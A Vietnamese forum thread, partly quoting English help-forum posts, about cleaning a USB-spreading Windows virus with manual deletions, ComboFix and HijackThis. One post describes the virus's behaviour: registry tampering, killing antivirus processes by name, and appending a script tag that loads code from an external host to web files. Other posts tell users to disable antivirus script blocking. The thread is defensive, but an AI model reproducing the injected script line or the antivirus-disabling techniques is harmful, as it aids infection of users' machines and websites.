Mình cũng bị dính con này! ko vào được safemode, không cài được một số phần mềm diệt víu nhứ KAV hay BIT kể cả Norton...
Cái Fasthelper nhận ra nhưng cũng không kill được nhóc này! cho dù mình đã làm theo hướng dẫn trên.
Mình thấy đơn giản nhất để diệt con này là ra tiệm mua cái đĩa Hiren hoặc bạn nào có rồi thì chiến luôn(có thể làm boot từ USB cũng được)
Bạn vào Dos gõ VC hoặc chạy chương trình Volko j đó trong phần File manager trong hiren
Tiếp theo là F8(Deletè File) những file sau:
Autorun.inf , pagefile.pif , smss.exe trực thuộc tại các ổ đĩa.
Vào trong c:\windows\system32\Com Delete nốt mấy file Lass.exe , smss.exe
Vào docment & Setting rồi vào all user trong startup xóa nốt mất chú ~.exe
Xong bạn có thể thở phào! Vào win và ko thấy chúng trong starup nữa!
Vào Registry xóa và chỉnh suẳ nốt mấy key như hướng dẫn phía trên!
Nếu bạn ko muốn chọc ngoáy thì cho đĩa win vào repair là ok liền!
Chúc bạn kill mấy nhóc này thành công!
Em mới tham gia diễn đàn trình độ còn kém mong các bác chỉ giáo! thanks! 

Chào Các Bạn, tôi cũng bị dính con này, nhưng chắc là biến thể mới nên nó phá luôn mục local security policies (không sử dụng cách của Bạn Ghost Member được).
Có dùng đĩa hirren boot vào dos để xóa hết các file autorun.inf, pagefile.pif ở các ổ logic. các file smss.exe, Lass.exe, một số file bắt đầu bằng chữ số ... exe/dll .... Vào tất cả các user xóa các file thực thi trong start menu. Cũng không được
Tải Fire-lion đã cập nhật data về thì chỉ chạy được 5s là treo, sau đó không thể sử dụng được, BKAV bản cập nhật 01/3/2008 về quét thì báo khoảng 500 file bị nhiễm và diệt, nhưng luôn luôn còn 2 file smss.exe và Lass.exe, sau đó khởi động vào lại thì vẫn quét ra mấy trăm file bị nhiễm như cũ.
Dùng KAV, BIT, NAV ... cũng không được (không thể cài đặt, sử dụng bản portable thì chỉ bắt đầu quét là treo).
Format ổ C cài win lại (nhưng các ổ khác không format được vì có dữ liệu) nhưng khi cài xong win sử dụng các phần mềm quét virus để quét là lại bị nhiễm ngược. 

Your logs in post 16 show that the files I asked you to delete using Combofix didn't delete. It looks from your Combofix log like you didn't make up the txt file and pull it across to the Combofix icon on the desktop. In order for this to work, Combofix must be installed on the desktop, you must make a notepad file as per the instructions which is stored on the desktop and then that notepad file will be dragged across the desktop on top of the comfofix icon. I will repeat the instructions in detail. Please see if it works this time.

Please try and remove these files as follows:

* Make sure that combofix.exe that you downloaded while doing the READ & RUN ME is on your Desktop but Do not run it!
o If it is not on your Desktop, the below will not work.
* Open Notepad and copy/paste the text in the below code box into it:

Code:

Driver::
vsbabfsi

Files::
C:\WINDOWS\system32\drivers\vsbabfsi.sys
C:\uyguxbpt.bat
C:\yhpkihtq.bat

* Save the above as CFscript.txt and make sure you save it to the same location (should be on your Desktop) as ComboFix.exe
* At this point, you MUST EXIT ALL BROWSERS NOW before continuing!
* You should have both the ComboFix.exe and CFScript.txt icons on your Desktop.
* Now use your mouse to drag CFscript.txt on top of ComboFix.exe
* Follow the prompts.
* When it finishes, a log will be produced named c:\combofix.txt
* I will ask for this log below

Note:

Do not mouseclick combofix's window while it is running. That may cause it to stall.

Now run Ccleaner!

Now run the C:\MGtools\GetLogs.bat file by double clicking on it.

Then attach the below logs:

* C:\ComboFix.txt
* C:\MGlogs.zip

Make sure you tell me how things are working now! 

I (as well as MicroSoft, McAfee and Symantec) recommend that you DO NOT have more than one anti virus product installed and running on your computer at a time.

The reason for this is that if both products have their automatic (Real-Time) protection switched on, then those products which do not encrypt the virus strings within them can cause other anti virus products to cause "false alarms".

It can also lead to a clash as both products fight for access to files which are opened again this is the resident/automatic protection.

In general terms, the two programs may conflict and cause:

1) False Alarms: When the anti virus software tells you that your PC has a virus when it actually doesn't.
2) System Performance Problems: Your system may lock up due to both products attempting to access the same file at the same time.

Therefore please go to add/remove in the control panel and remove one of these:
.
BitDefeneder Antivirus or AVG antivirus

Do you have Symentec/Norton Antivirus installed also? If so, you need to remove it so that you will be running only one Antivirus program.

************************

Let's look in a different place for signs.

Open HijackThis 2.0.2
Press the button 'View Misc Tools Section'
Press the button 'open uninstall manager'
Press the button 'save list'
A notepad file will open.
Post the content here in your reply.
Close HijackThis.

************************

If you have used Combofix before, please delete the version you are having and redownload it again, because Combofix is being updated everyday.

If your Antivirus or any other realtime scanner is displaying an alert after you downloaded Combofix or while you use Combofix, please disable your scanner and redownload Combofix again. Because some scanners may see some combofix related components as suspicious and block or delete them while there's nothing wrong with them.


1. Download this file - combofix.exe to your Desktop.
Note:
It is important that it is saved directly to your desktop
2. Double click combofix.exe & follow the prompts.
3. When finished, it shall produce a log for you, C:\ComboFix.txt. Post the ComboFix log and a fresh Hijackthis log in your next reply.
Do NOT post the ComboFix-quarantined-files.txt - unless I ask you to.

Note:
Do not mouseclick combofix's window while it's running. That may cause it to stall
If you have Norton Antivirus installed then disable script blocking so it will not interfere with the fix.

To disable Norton Script blocking Service:

* Disable the Script Blocking Service:
To open Services, click Start, point to Settings, and then click Control Panel.
Double-click Administrative Tools, and then double-click Services.
Find ScriptBlocking services, Right-click the service, and then click and then click Properties.
On the General tab, under Startup, click Disabled.
Under Service Status, click Stop button. Click Apply button.

* Disable the Script Blocking In Norton Settings:
Start Norton Antivirus.
Click Options. If a menu appears when you click Options, then click Norton Antivirus. The Norton Antivirus Options dialog box appears.
Click Script Blocking.
Uncheck Enable Script Blocking (recommended).
Click OK
You can reenable it afterwards when everything is clean again.
 

Gà chào Ghost Ship! 

Topic của bạn rất hay và nó giúp mọi người có một cách giải quyết con virus! 

Tuy nhiên cần đọc gần hết các bài viết và ngồi tổng hợp lại! 

Trong registry mình cũng ko có biết khóa nào làm mất checkbox hiện file ẩn hệ thống.
Cũng không biết processxp có chức năng suspend? ) 

Theo dõi cả chủ đề này tôi thấy những máy có khả năng bị nhiễm là máy xuất hiện các file SMSS, LSASS ở trong processes nhưng đây cũng là các file của Win. Vậy có chúng ta phân biệt như thế nào vậy? Cái nào là của Win cái nào là do Virus tạo ra? 

Nói chung phải repair lại máy hay cài lại đi, thấy rắc rối quá, thảo luận nhức cả đầu 

Chào Các Bạn, tôi cũng bị dính con này, nhưng chắc là biến thể mới nên nó phá luôn mục local security policies (không sử dụng cách của Bạn Ghost Member được).
Có dùng đĩa hirren boot vào dos để xóa hết các file autorun.inf, pagefile.pif ở các ổ logic. các file smss.exe, Lass.exe, một số file bắt đầu bằng chữ số ... exe/dll .... Vào tất cả các user xóa các file thực thi trong start menu. Cũng không được
Tải Fire-lion đã cập nhật data về thì chỉ chạy được 5s là treo, sau đó không thể sử dụng được, BKAV bản cập nhật 01/3/2008 về quét thì báo khoảng 500 file bị nhiễm và diệt, nhưng luôn luôn còn 2 file smss.exe và Lass.exe, sau đó khởi động vào lại thì vẫn quét ra mấy trăm file bị nhiễm như cũ.
Dùng KAV, BIT, NAV ... cũng không được (không thể cài đặt, sử dụng bản portable thì chỉ bắt đầu quét là treo).
Format ổ C cài win lại (nhưng các ổ khác không format được vì có dữ liệu) nhưng khi cài xong win sử dụng các phần mềm quét virus để quét là lại bị nhiễm ngược. 

LovesPascal wrote:

Cậu có biết nếu kô có mọt chút kiến thức về virus thì dù có cài lại Win thì cũng sẽ nhiễm lại như thường (kô biết diệt autorun.inf và các mầm móng khác trong ổ dữ liệu) Cho dù có format hết cả các ổ dữ liệu thì việc nhiễm lại qua các hoạt động trao đỏi dữ liệu cũng chỉ là thời gian.

Còn cái cách repair lại máy có phải là repair lại win kô bạn? ai nói với bạn là làm thế hết virus vậy? bạn đã bao giờ thử chưa?
 

hehe bác chỉ được cái nói đúng nhưng cũng không nên gay gắt như thế chứ bác LovesPascal nói cũng không sai đâu có lẽ bác ấy muôn nói là cài lại win hay repair rồi download chương trình diệt virus về quét lại máy ấy mà ấy mà thế thì máy sao ko hết virus cơ chứ (chỉ hết những loại ta đã biết và bác BKAV hay antivir nào đó đã biết thôi nhé )
để không bị nhiễm lại thì các bác phải cẩn thận khi sử dụng USB khi trao đổi dự liệu là được thôi mà
dạo này không thấy máy bị nhiễm virus sướng quá
nếu bị nhiễm đã có ghost rồi đếch sợ chú nào cả , các chú vô máy anh không chết vì BK cũng tan xác dưới FULL_GHOST của anh

Các bước được chắp vá lung tung và không logic tí nào bạn gì đó ơi. Bạn cung cấp cho cái link tiếng Anh tiện cho anh em theo dỏi đi.
Tui thấy ở forum Majogreek như thế này:
http://forums.majorgeeks.com/showthread.php?p=1115940

Your logs in post 16 show that the files I asked you to delete using Combofix didn't delete. It looks from your Combofix log like you didn't make up the txt file and pull it across to the Combofix icon on the desktop. In order for this to work, Combofix must be installed on the desktop, you must make a notepad file as per the instructions which is stored on the desktop and then that notepad file will be dragged across the desktop on top of the comfofix icon. I will repeat the instructions in detail. Please see if it works this time.

Please try and remove these files as follows:

* Make sure that combofix.exe that you downloaded while doing the READ & RUN ME is on your Desktop but Do not run it!
o If it is not on your Desktop, the below will not work.
* Open Notepad and copy/paste the text in the below code box into it:

Code:

Driver::
vsbabfsi

Files::
C:\WINDOWS\system32\drivers\vsbabfsi.sys
C:\uyguxbpt.bat
C:\yhpkihtq.bat

* Save the above as CFscript.txt and make sure you save it to the same location (should be on your Desktop) as ComboFix.exe
* At this point, you MUST EXIT ALL BROWSERS NOW before continuing!
* You should have both the ComboFix.exe and CFScript.txt icons on your Desktop.
* Now use your mouse to drag CFscript.txt on top of ComboFix.exe
* Follow the prompts.
* When it finishes, a log will be produced named c:\combofix.txt
* I will ask for this log below

Note:

Do not mouseclick combofix's window while it is running. That may cause it to stall.

Now run Ccleaner!

Now run the C:\MGtools\GetLogs.bat file by double clicking on it.

Then attach the below logs:

* C:\ComboFix.txt
* C:\MGlogs.zip

Make sure you tell me how things are working now! 

Nó hơi giống giống post tiếng Việt không dấu của bạn.

Còn đầy là ở BeepingComputer.
http://www.bleepingcomputer.com/forums/topic109792.html

I (as well as MicroSoft, McAfee and Symantec) recommend that you DO NOT have more than one anti virus product installed and running on your computer at a time.

The reason for this is that if both products have their automatic (Real-Time) protection switched on, then those products which do not encrypt the virus strings within them can cause other anti virus products to cause "false alarms".

It can also lead to a clash as both products fight for access to files which are opened again this is the resident/automatic protection.

In general terms, the two programs may conflict and cause:

1) False Alarms: When the anti virus software tells you that your PC has a virus when it actually doesn't.
2) System Performance Problems: Your system may lock up due to both products attempting to access the same file at the same time.

Therefore please go to add/remove in the control panel and remove one of these:
.
BitDefeneder Antivirus or AVG antivirus

Do you have Symentec/Norton Antivirus installed also? If so, you need to remove it so that you will be running only one Antivirus program.

************************

Let's look in a different place for signs.

Open HijackThis 2.0.2
Press the button 'View Misc Tools Section'
Press the button 'open uninstall manager'
Press the button 'save list'
A notepad file will open.
Post the content here in your reply.
Close HijackThis.

************************

If you have used Combofix before, please delete the version you are having and redownload it again, because Combofix is being updated everyday.

If your Antivirus or any other realtime scanner is displaying an alert after you downloaded Combofix or while you use Combofix, please disable your scanner and redownload Combofix again. Because some scanners may see some combofix related components as suspicious and block or delete them while there's nothing wrong with them.


1. Download this file - combofix.exe to your Desktop.
Note:
It is important that it is saved directly to your desktop
2. Double click combofix.exe & follow the prompts.
3. When finished, it shall produce a log for you, C:\ComboFix.txt. Post the ComboFix log and a fresh Hijackthis log in your next reply.
Do NOT post the ComboFix-quarantined-files.txt - unless I ask you to.

Note:
Do not mouseclick combofix's window while it's running. That may cause it to stall
If you have Norton Antivirus installed then disable script blocking so it will not interfere with the fix.

To disable Norton Script blocking Service:

* Disable the Script Blocking Service:
To open Services, click Start, point to Settings, and then click Control Panel.
Double-click Administrative Tools, and then double-click Services.
Find ScriptBlocking services, Right-click the service, and then click and then click Properties.
On the General tab, under Startup, click Disabled.
Under Service Status, click Stop button. Click Apply button.

* Disable the Script Blocking In Norton Settings:
Start Norton Antivirus.
Click Options. If a menu appears when you click Options, then click Norton Antivirus. The Norton Antivirus Options dialog box appears.
Click Script Blocking.
Uncheck Enable Script Blocking (recommended).
Click OK
You can reenable it afterwards when everything is clean again.
 

Cũng có thông tin hơi giống giống post tiếng Việt không dấu của bạn.

 

Éc éc, xin các bạn cho biết những file nó lây nhiễm là gì, vì tình hình chung là các AV không có thằng nào diệt triệt để được con này. 

Mô tả kỹ thuật:

* Xóa các key :
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
* Ghi giá trị :
"AppInit_DLLs" = "C:\\WINDOWS\\system32\\dnsq.dll"
Vào key : HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows để dll của virus được nạp lên mỗi khi windows khởi động
* Copy bản thân thành file có tên "lsass.exe" vào thư mục %SysDir%\Com, và ~.exe vào thư mục Startup
* Tạo Mutex : CNJBlaipbofF để chỉ 1 file virus chạy trên 1 máy.
* Dump ra các file :
%SysDir%\Com\smss.exe
%SysDir%\Com\netcfg.dll
%SysDir%\Com\netcfg.000
%SysDir%\dnsq.dll
* Sửa key làm mất checkbox để hiển thị các file hệ thống.
* Copy bản thân thành file có tên : "pagefile.pif" kèm theo file autorun.inf vào tất cả các ổ đĩa.
* Tắt các process có chứa một trong các xâu sau : rav, avp, twister, kv, watch, kissvc, scan, guard
* Tắt các service : EQService, HookSys, McShield, tmmbd, PAVSRV, SymEvent, ekrn, KAVBase, klif, AntiVirService, MPSVCService
* Tắt các cửa sổ có chứa 1 trong các xâu : ewido, bitdefender, facelesswndproc, mcafee, metapad, dr.web, avg, arp, 360safe, 360anti, ida, ...
* Thêm vào cuối các file có đuôi: jsp, php, spx, asp, tml, htm tìm thấy trên máy trừ ổ đĩa hệ thống (kể cả trong các file nén .rar) đoạn script :
<script src="http://js.k01[removed].com/01.asp"></script>
* Lây nhiễm vào các file thực thi tìm được trong máy. 

Kô phải AV kô diệt được triệt để con này mà là người diệt kô biết cách diệt triệt để thôi. Chính sự thiếu những kiến thức cơ bản trong việc phòng chống virus của người dùng máy là nguyên nhân chính làm con này và nhiều con tương tự quay lại và làm họ tưởng các AV kô diệt được . NẢN !!!